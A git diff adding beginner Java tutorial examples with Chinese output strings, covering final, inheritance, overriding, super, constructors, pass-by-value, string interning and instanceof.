+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Car1.java
@@ -0,0 +1,11 @@
+package com.itwanger.thirtyfour;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class Car1 {
+ final int speedLimit = 60;
+ void run() {
+// speedLimit = 90;
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfour/FinalClassDemo.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/FinalClassDemo.java
new file mode 100644
index 0000000000..e379b229e1
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/FinalClassDemo.java
@@ -0,0 +1,11 @@
+package com.itwanger.thirtyfour;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+final class Car3{}
+//class Honda1 extends Car3 {
+//
+//}
+public class FinalClassDemo {
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfour/FinalMethodInherited.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/FinalMethodInherited.java
new file mode 100644
index 0000000000..383c467785
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/FinalMethodInherited.java
@@ -0,0 +1,20 @@
+package com.itwanger.thirtyfour;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+class Car4{
+ final void run () {
+ System.out.println("开跑");
+ }
+}
+
+class Honda2 extends Car4 {
+
+}
+
+public class FinalMethodInherited {
+ public static void main(String[] args) {
+ new Honda2().run();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Honda.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Honda.java
new file mode 100644
index 0000000000..a48ecbb7e5
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Honda.java
@@ -0,0 +1,16 @@
+package com.itwanger.thirtyfour;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class Honda extends Car2 {
+// void run () {
+// System.out.println("正在跑");
+// }
+}
+
+class Car2 {
+ final void run () {
+ System.out.println("跑");
+ }
+}
\ No newline at end of file
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyone/Bike.java b/codes/TechSister/src/main/java/com/itwanger/thirtyone/Bike.java
new file mode 100644
index 0000000000..2645f6cc0e
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyone/Bike.java
@@ -0,0 +1,17 @@
+package com.itwanger.thirtyone;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class Bike extends Vehicle {
+ public static void main(String[] args) {
+ Bike bike = new Bike();
+ bike.run();
+ }
+}
+
+class Vehicle {
+ void run() {
+ System.out.println("车辆在跑");
+ }
+}
\ No newline at end of file
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyone/Bike1.java b/codes/TechSister/src/main/java/com/itwanger/thirtyone/Bike1.java
new file mode 100644
index 0000000000..c083153102
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyone/Bike1.java
@@ -0,0 +1,22 @@
+package com.itwanger.thirtyone;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class Bike1 extends Vehicle1 {
+ @Override
+ void run() {
+ System.out.println("自行车在跑");
+ }
+
+ public static void main(String[] args) {
+ Bike bike = new Bike();
+ bike.run();
+ }
+}
+
+class Vehicle1 {
+ void run() {
+ System.out.println("车辆在跑");
+ }
+}
\ No newline at end of file
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyone/PrimitiveTypeDemo.java b/codes/TechSister/src/main/java/com/itwanger/thirtyone/PrimitiveTypeDemo.java
new file mode 100644
index 0000000000..144c894345
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyone/PrimitiveTypeDemo.java
@@ -0,0 +1,17 @@
+package com.itwanger.thirtyone;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+class PrimitiveTypeDemo {
+ public static void main(String[] args) {
+ int age = 18;
+ modify(age);
+ System.out.println(age);
+ }
+
+ private static void modify(int age1) {
+ age1 = 30;
+ }
+
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyone/PrimitiveTypeDemo1.java b/codes/TechSister/src/main/java/com/itwanger/thirtyone/PrimitiveTypeDemo1.java
new file mode 100644
index 0000000000..eab4e4d219
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyone/PrimitiveTypeDemo1.java
@@ -0,0 +1,17 @@
+package com.itwanger.thirtyone;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+class PrimitiveTypeDemo1 {
+ public static void main(String[] args) {
+ int age = 18;
+ age = modify(age);
+ System.out.println(age);
+ }
+
+ private static int modify(int age1) {
+ age1 = 30;
+ return age1;
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyone/ReferenceTypeDemo.java b/codes/TechSister/src/main/java/com/itwanger/thirtyone/ReferenceTypeDemo.java
new file mode 100644
index 0000000000..1e38ec43d4
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyone/ReferenceTypeDemo.java
@@ -0,0 +1,16 @@
+package com.itwanger.thirtyone;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+class ReferenceTypeDemo {
+ public static void main(String[] args) {
+ String name = "二哥";
+ modify(name);
+ System.out.println(name);
+ }
+
+ private static void modify(String name1) {
+ name1 = "三妹";
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyone/Test.java b/codes/TechSister/src/main/java/com/itwanger/thirtyone/Test.java
new file mode 100644
index 0000000000..3416c834df
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyone/Test.java
@@ -0,0 +1,11 @@
+package com.itwanger.thirtyone;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Test {
+ public static void main(String[] args) {
+int age = 18;
+String name = "二哥";
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyseven/CarDemo.java b/codes/TechSister/src/main/java/com/itwanger/thirtyseven/CarDemo.java
new file mode 100644
index 0000000000..00a4867475
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyseven/CarDemo.java
@@ -0,0 +1,22 @@
+package com.itwanger.thirtyseven;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+class Car{
+ void run(){
+ System.out.println("跑");
+ }
+}
+class Weilai extends Car {
+ @Override
+ void run() {
+ System.out.println("用电跑");
+ }
+}
+public class CarDemo {
+ public static void main(String[] args) {
+ Car car = new Weilai();
+ car.run();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyseven/Cat.java b/codes/TechSister/src/main/java/com/itwanger/thirtyseven/Cat.java
new file mode 100644
index 0000000000..9338115dea
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyseven/Cat.java
@@ -0,0 +1,15 @@
+package com.itwanger.thirtyseven;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class Cat {
+ private void eat() {
+ System.out.println("吃");
+ }
+
+ public static void main(String[] args) {
+ Cat cat = new Cat();
+ cat.eat();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyseven/Demo.java b/codes/TechSister/src/main/java/com/itwanger/thirtyseven/Demo.java
new file mode 100644
index 0000000000..62d39a4931
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyseven/Demo.java
@@ -0,0 +1,12 @@
+package com.itwanger.thirtyseven;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Demo {
+ public static void main(String[] args) {
+ String chenmo = "沉默";
+ String wanger = "王二";
+ System.out.println(chenmo + wanger);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyseven/Dog.java b/codes/TechSister/src/main/java/com/itwanger/thirtyseven/Dog.java
new file mode 100644
index 0000000000..930a3c8435
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyseven/Dog.java
@@ -0,0 +1,10 @@
+package com.itwanger.thirtyseven;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class Dog {
+ public static void main(String[] args) {
+ Dog dog;
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtysix/StringDemo.java b/codes/TechSister/src/main/java/com/itwanger/thirtysix/StringDemo.java
new file mode 100644
index 0000000000..5a3b548ec8
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtysix/StringDemo.java
@@ -0,0 +1,11 @@
+package com.itwanger.thirtysix;
+
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class StringDemo {
+ public static void main(String[] args) {
+ System.out.println(new String("小萝莉").intern() == "小萝莉");
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtythree/CallParentParamConstrutor.java b/codes/TechSister/src/main/java/com/itwanger/thirtythree/CallParentParamConstrutor.java
new file mode 100644
index 0000000000..d1f1f13308
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtythree/CallParentParamConstrutor.java
@@ -0,0 +1,33 @@
+package com.itwanger.thirtythree;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+class Person {
+ int id;
+ String name;
+
+ Person(int id, String name) {
+ this.id = id;
+ this.name = name;
+ }
+}
+
+class Emp extends Person {
+ float salary;
+
+ Emp(int id, String name, float salary) {
+ super(id, name);
+ this.salary = salary;
+ }
+
+ void display() {
+ System.out.println(id + " " + name + " " + salary);
+ }
+}
+
+public class CallParentParamConstrutor {
+ public static void main(String[] args) {
+ new Emp(1, "沉默王二", 20000f).display();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtythree/Compiler.java b/codes/TechSister/src/main/java/com/itwanger/thirtythree/Compiler.java
new file mode 100644
index 0000000000..5d2cfa12d4
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtythree/Compiler.java
@@ -0,0 +1,7 @@
+package com.itwanger.thirtythree;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class Compiler {
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtythree/ReferParentConstructor.java b/codes/TechSister/src/main/java/com/itwanger/thirtythree/ReferParentConstructor.java
new file mode 100644
index 0000000000..bd4746a719
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtythree/ReferParentConstructor.java
@@ -0,0 +1,22 @@
+package com.itwanger.thirtythree;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class ReferParentConstructor {
+ public static void main(String[] args) {
+ new Dog2();
+ }
+}
+
+class Animal2 {
+ Animal2(){
+ System.out.println("动物来了");
+ }
+}
+
+class Dog2 extends Animal2 {
+ Dog2() {
+ System.out.println("狗狗来了");
+ }
+}
\ No newline at end of file
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtythree/ReferParentField.java b/codes/TechSister/src/main/java/com/itwanger/thirtythree/ReferParentField.java
new file mode 100644
index 0000000000..b80be34e6b
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtythree/ReferParentField.java
@@ -0,0 +1,23 @@
+package com.itwanger.thirtythree;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class ReferParentField {
+ public static void main(String[] args) {
+ new Dog().printColor();
+ }
+}
+
+class Animal {
+ String color = "白色";
+}
+
+class Dog extends Animal {
+ String color = "黑色";
+
+ void printColor() {
+ System.out.println(color);
+ System.out.println(super.color);
+ }
+}
\ No newline at end of file
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtythree/ReferParentMethod.java b/codes/TechSister/src/main/java/com/itwanger/thirtythree/ReferParentMethod.java
new file mode 100644
index 0000000000..4e9ef75061
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtythree/ReferParentMethod.java
@@ -0,0 +1,32 @@
+package com.itwanger.thirtythree;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class ReferParentMethod {
+ public static void main(String[] args) {
+ new Dog1().work();
+ }
+}
+
+class Animal1 {
+ void eat() {
+ System.out.println("吃...");
+ }
+}
+
+class Dog1 extends Animal1 {
+ @Override
+ void eat() {
+ System.out.println("吃...");
+ }
+
+ void bark() {
+ System.out.println("汪汪汪...");
+ }
+
+ void work() {
+ super.eat();
+ bark();
+ }
+}
\ No newline at end of file
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtythree/StringTest.java b/codes/TechSister/src/main/java/com/itwanger/thirtythree/StringTest.java
new file mode 100644
index 0000000000..59295bd96d
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtythree/StringTest.java
@@ -0,0 +1,22 @@
+package com.itwanger.thirtythree;
+
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class StringTest {
+
+ public void test() {
+ int i = 8;
+ while ((i -= 3) > 0);
+ System.out.println("i = " + i);
+ }
+
+ public static void main(String[] args) {
+ StringTest hello = new StringTest();
+ for (int i = 0; i < 50_000; i++) {
+ hello.test();
+ }
+ }
+
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtytwo/B.java b/codes/TechSister/src/main/java/com/itwanger/thirtytwo/B.java
new file mode 100644
index 0000000000..97eac7491a
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtytwo/B.java
@@ -0,0 +1,23 @@
+package com.itwanger.thirtytwo;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+class A{
+ A get(){return this;}
+}
+
+public class B extends A{
+ @Override
+ B get() {
+ return this;
+ }
+
+ void out() {
+ System.out.println("返回类型协变");
+ }
+
+ public static void main(String[] args) {
+ new B().get().out();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyeight/HierarchicalInheritanceDemo.java b/codes/TechSister/src/main/java/com/itwanger/twentyeight/HierarchicalInheritanceDemo.java
new file mode 100644
index 0000000000..72a9f47d19
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyeight/HierarchicalInheritanceDemo.java
@@ -0,0 +1,35 @@
+package com.itwanger.twentyeight;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+
+class Animal2 {
+ void eat() {
+ System.out.println("吃...");
+ }
+}
+
+class Dog2 extends Animal2 {
+ void bark() {
+ System.out.println("汪汪汪...");
+ }
+}
+
+class Cat extends Animal2 {
+ void meow() {
+ System.out.println("喵喵喵...");
+ }
+}
+
+public class HierarchicalInheritanceDemo {
+ public static void main(String[] args) {
+ Cat c = new Cat();
+ c.meow();
+ c.eat();
+
+ Dog2 d = new Dog2();
+ d.bark();
+ d.eat();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyeight/MultilevelheritanceDemo.java b/codes/TechSister/src/main/java/com/itwanger/twentyeight/MultilevelheritanceDemo.java
new file mode 100644
index 0000000000..2e7cd2cc9a
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyeight/MultilevelheritanceDemo.java
@@ -0,0 +1,32 @@
+package com.itwanger.twentyeight;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+
+class Animal1 {
+ void eat() {
+ System.out.println("吃...");
+ }
+}
+
+class Dog1 extends Animal1 {
+ void bark() {
+ System.out.println("叫唤...");
+ }
+}
+
+class BabyDog extends Dog1 {
+ void weep() {
+ System.out.println("嗷嗷地哭...");
+ }
+}
+
+class MultilevelInheritanceDemo {
+ public static void main(String[] args) {
+ BabyDog d = new BabyDog();
+ d.weep();
+ d.bark();
+ d.eat();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyeight/MultiplelnheritanceDemo.java b/codes/TechSister/src/main/java/com/itwanger/twentyeight/MultiplelnheritanceDemo.java
new file mode 100644
index 0000000000..6000234500
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyeight/MultiplelnheritanceDemo.java
@@ -0,0 +1,25 @@
+package com.itwanger.twentyeight;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+
+class A {
+ void eat() {
+ System.out.println("A 在吃...");
+ }
+}
+
+class B {
+ void eat() {
+ System.out.println("B 在吃...");
+ }
+}
+
+//class C extends A, B {
+//}
+
+class MultipleInheritanceDemo {
+ public static void main(String[] args) {
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyeight/Programmer.java b/codes/TechSister/src/main/java/com/itwanger/twentyeight/Programmer.java
new file mode 100644
index 0000000000..6447cda636
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyeight/Programmer.java
@@ -0,0 +1,19 @@
+package com.itwanger.twentyeight;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+class Employee {
+ float salary = 40000;
+}
+
+class Programmer extends Employee {
+ int bonus = 10000;
+
+ public static void main(String args[]) {
+ Programmer p = new Programmer();
+
+ System.out.println("程序员的薪水是 " + p.salary);
+ System.out.println("程序员的奖金是:" + p.bonus);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyeight/SingleInheritanceDemo.java b/codes/TechSister/src/main/java/com/itwanger/twentyeight/SingleInheritanceDemo.java
new file mode 100644
index 0000000000..406123b3e6
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyeight/SingleInheritanceDemo.java
@@ -0,0 +1,25 @@
+package com.itwanger.twentyeight;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+
+class Animal {
+ void eat() {
+ System.out.println("吃...");
+ }
+}
+
+class Dog extends Animal {
+ void bark() {
+ System.out.println("叫唤...");
+ }
+}
+
+class SingleInheritanceDemo {
+ public static void main(String[] args) {
+ Dog d = new Dog();
+ d.bark();
+ d.eat();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyeight/Test.java b/codes/TechSister/src/main/java/com/itwanger/twentyeight/Test.java
new file mode 100644
index 0000000000..d97cbb5632
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyeight/Test.java
@@ -0,0 +1,11 @@
+package com.itwanger.twentyeight;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Test {
+ ArrayList a;
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfive/Bike.java b/codes/TechSister/src/main/java/com/itwanger/twentyfive/Bike.java
new file mode 100644
index 0000000000..89fc1bd1df
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyfive/Bike.java
@@ -0,0 +1,14 @@
+package com.itwanger.twentyfive;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class Bike {
+ Bike(){
+ System.out.println("一辆自行车被创建");
+ }
+
+ public static void main(String[] args) {
+ Bike bike = new Bike();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfive/ClonePerson.java b/codes/TechSister/src/main/java/com/itwanger/twentyfive/ClonePerson.java
new file mode 100644
index 0000000000..81fe2baa39
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyfive/ClonePerson.java
@@ -0,0 +1,33 @@
+package com.itwanger.twentyfive;
+
+/**
+ * @author 沉默王二,一枚有趣的程序员
+ */
+public class ClonePerson implements Cloneable {
+ private String name;
+ private int age;
+
+ public ClonePerson(String name, int age) {
+ this.name = name;
+ this.age = age;
+ }
+
+ @Override
+ protected Object clone() throws CloneNotSupportedException {
+ return super.clone();
+ }
+
+ public void out() {
+ System.out.println("姓名 " + name + " 年龄 " + age);
+ }
+
+ public static void main(String[] args) throws CloneNotSupportedException {
+ ClonePerson p1 = new ClonePerson("沉默王二",18);
+ p1.out();
+
+ ClonePerson p2 = (ClonePerson) p1.clone();
+ p2.out();
+ }
+}
+
+
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfive/CopyConstrutorPerson.java b/codes/TechSister/src/main/java/com/itwanger/twentyfive/CopyConstrutorPerson.java
new file mode 100644
index 0000000000..43aaf1e94b
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyfive/CopyConstrutorPerson.java
@@ -0,0 +1,33 @@
+package com.itwanger.twentyfive;
+
+/**
+ * @author 沉默王二,一枚有趣的程序员
+ */
+public class CopyConstrutorPerson {
+ private String name;
+ private int age;
+
+ public CopyConstrutorPerson(String name, int age) {
+ this.name = name;
+ this.age = age;
+ }
+
+ public CopyConstrutorPerson(CopyConstrutorPerson person) {
+ this.name = person.name;
+ this.age = person.age;
+ }
+
+ public void out() {
+ System.out.println("姓名 " + name + " 年龄 " + age);
+ }
+
+ public static void main(String[] args) {
+ CopyConstrutorPerson p1 = new CopyConstrutorPerson("沉默王二",18);
+ p1.out();
+
+ CopyConstrutorPerson p2 = new CopyConstrutorPerson(p1);
+ p2.out();
+ }
+}
+
+
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfive/CopyValuePerson.java b/codes/TechSister/src/main/java/com/itwanger/twentyfive/CopyValuePerson.java
new file mode 100644
index 0000000000..0d356a8fe4
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyfive/CopyValuePerson.java
@@ -0,0 +1,34 @@
+package com.itwanger.twentyfive;
+
+/**
+ * @author 沉默王二,一枚有趣的程序员
+ */
+public class CopyValuePerson {
+ private String name;
+ private int age;
+
+ public CopyValuePerson(String name, int age) {
+ this.name = name;
+ this.age = age;
+ }
+
+ public CopyValuePerson() {
+ }
+
+ public void out() {
+ System.out.println("姓名 " + name + " 年龄 " + age);
+ }
+
+ public static void main(String[] args) {
+ CopyValuePerson p1 = new CopyValuePerson("沉默王二",18);
+ p1.out();
+
+ CopyValuePerson p2 = new CopyValuePerson();
+ p2.name = p1.name;
+ p2.age = p1.age;
+
+ p2.out();
+ }
+}
+
+
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfive/OverloadingConstrutorPerson.java b/codes/TechSister/src/main/java/com/itwanger/twentyfive/OverloadingConstrutorPerson.java
new file mode 100644
index 0000000000..540b720f58
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyfive/OverloadingConstrutorPerson.java
@@ -0,0 +1,35 @@
+package com.itwanger.twentyfive;
+
+/**
+ * @author 沉默王二,一枚有趣的程序员
+ */
+public class OverloadingConstrutorPerson {
+ private String name;
+ private int age;
+ private int sex;
+
+ public OverloadingConstrutorPerson(String name, int age, int sex) {
+ this.name = name;
+ this.age = age;
+ this.sex = sex;
+ }
+
+ public OverloadingConstrutorPerson(String name, int age) {
+ this.name = name;
+ this.age = age;
+ }
+
+ public void out() {
+ System.out.println("姓名 " + name + " 年龄 " + age + " 性别 " + sex);
+ }
+
+ public static void main(String[] args) {
+ OverloadingConstrutorPerson p1 = new OverloadingConstrutorPerson("沉默王二",18, 1);
+ p1.out();
+
+ OverloadingConstrutorPerson p2 = new OverloadingConstrutorPerson("沉默王三",16);
+ p2.out();
+ }
+}
+
+
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfive/ParamConstructorPerson.java b/codes/TechSister/src/main/java/com/itwanger/twentyfive/ParamConstructorPerson.java
new file mode 100644
index 0000000000..e11896a744
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyfive/ParamConstructorPerson.java
@@ -0,0 +1,28 @@
+package com.itwanger.twentyfive;
+
+/**
+ * @author 沉默王二,一枚有趣的程序员
+ */
+public class ParamConstructorPerson {
+ private String name;
+ private int age;
+
+ public ParamConstructorPerson(String name, int age) {
+ this.name = name;
+ this.age = age;
+ }
+
+ public void out() {
+ System.out.println("姓名 " + name + " 年龄 " + age);
+ }
+
+ public static void main(String[] args) {
+ ParamConstructorPerson p1 = new ParamConstructorPerson("沉默王二",18);
+ p1.out();
+
+ ParamConstructorPerson p2 = new ParamConstructorPerson("沉默王三",16);
+ p2.out();
+ }
+}
+
+
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfive/Person.java b/codes/TechSister/src/main/java/com/itwanger/twentyfive/Person.java
new file mode 100644
index 0000000000..ee70fb968a
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyfive/Person.java
@@ -0,0 +1,16 @@
+package com.itwanger.twentyfive;
+
+/**
+ * @author 沉默王二,一枚有趣的程序员
+ */
+public class Person {
+ private String name;
+ private int age;
+
+ public static void main(String[] args) {
+ Person p = new Person();
+ System.out.println("姓名 " + p.name + " 年龄 " + p.age);
+ }
+}
+
+
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfour/AbstractDemo.java b/codes/TechSister/src/main/java/com/itwanger/twentyfour/AbstractDemo.java
new file mode 100644
index 0000000000..f2a2ef240c
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyfour/AbstractDemo.java
@@ -0,0 +1,8 @@
+package com.itwanger.twentyfour;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+abstract class AbstractDemo {
+ abstract void display();
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfour/EvenOddDemo.java b/codes/TechSister/src/main/java/com/itwanger/twentyfour/EvenOddDemo.java
new file mode 100644
index 0000000000..7bec1e0ae9
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyfour/EvenOddDemo.java
@@ -0,0 +1,19 @@
+package com.itwanger.twentyfour;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class EvenOddDemo {
+ public static void main(String[] args) {
+ findEvenOdd(10);
+ findEvenOdd(11);
+ }
+
+ public static void findEvenOdd(int num) {
+ if (num % 2 == 0) {
+ System.out.println(num + " 是偶数");
+ } else {
+ System.out.println(num + " 是奇数");
+ }
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfour/InstanceMethodExample.java b/codes/TechSister/src/main/java/com/itwanger/twentyfour/InstanceMethodExample.java
new file mode 100644
index 0000000000..5adb1a92ee
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyfour/InstanceMethodExample.java
@@ -0,0 +1,15 @@
+package com.itwanger.twentyfour;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class InstanceMethodExample {
+ public static void main(String[] args) {
+ InstanceMethodExample instanceMethodExample = new InstanceMethodExample();
+ System.out.println(instanceMethodExample.add(1, 2));
+ }
+
+ public int add(int a, int b) {
+ return a + b;
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfour/MyAbstractDemo.java b/codes/TechSister/src/main/java/com/itwanger/twentyfour/MyAbstractDemo.java
new file mode 100644
index 0000000000..1a15d6fbed
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyfour/MyAbstractDemo.java
@@ -0,0 +1,16 @@
+package com.itwanger.twentyfour;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class MyAbstractDemo extends AbstractDemo {
+ @Override
+ void display() {
+ System.out.println("重写了抽象方法");
+ }
+
+ public static void main(String[] args) {
+ MyAbstractDemo myAbstractDemo = new MyAbstractDemo();
+ myAbstractDemo.display();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfour/Person.java b/codes/TechSister/src/main/java/com/itwanger/twentyfour/Person.java
new file mode 100644
index 0000000000..eb2a195302
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyfour/Person.java
@@ -0,0 +1,36 @@
+package com.itwanger.twentyfour;
+
+/**
+ * @author 沉默王二,一枚有趣的程序员
+ */
+public class Person {
+ private String name;
+ private int age;
+ private int sex;
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+
+ public int getAge() {
+ return age;
+ }
+
+ public void setAge(int age) {
+ this.age = age;
+ }
+
+ public int getSex() {
+ return sex;
+ }
+
+ public void setSex(int sex) {
+ this.sex = sex;
+ }
+}
+
+
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfour/PredefinedMethodDemo.java b/codes/TechSister/src/main/java/com/itwanger/twentyfour/PredefinedMethodDemo.java
new file mode 100644
index 0000000000..1fb9231ccd
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyfour/PredefinedMethodDemo.java
@@ -0,0 +1,10 @@
+package com.itwanger.twentyfour;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class PredefinedMethodDemo {
+ public static void main(String[] args) {
+ System.out.println("沉默王二,一枚有趣的程序员");
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfour/instanceof1/Test.java b/codes/TechSister/src/main/java/com/itwanger/twentyfour/instanceof1/Test.java
new file mode 100644
index 0000000000..f41d394bcf
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyfour/instanceof1/Test.java
@@ -0,0 +1,39 @@
+package com.itwanger.twentyfour.instanceof1;
+
+import cn.hutool.core.lang.Assert;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Test {
+ public static void main(String[] args) {
+ Ring ring = new Ring();
+ System.out.println(ring instanceof Round);
+
+Circle circle = new Circle();
+System.out.println(circle instanceof Circle);
+
+ System.out.println(circle instanceof Round);
+ System.out.println(circle instanceof Shape);
+//System.out.println(circle instanceof Triangle);
+
+
+Thread thread = new Thread();
+System.out.println(thread instanceof Object);
+ }
+}
+class Round {
+}
+class Ring extends Round {
+}
+
+interface Shape {
+}
+
+class Circle extends Round implements Shape {
+}
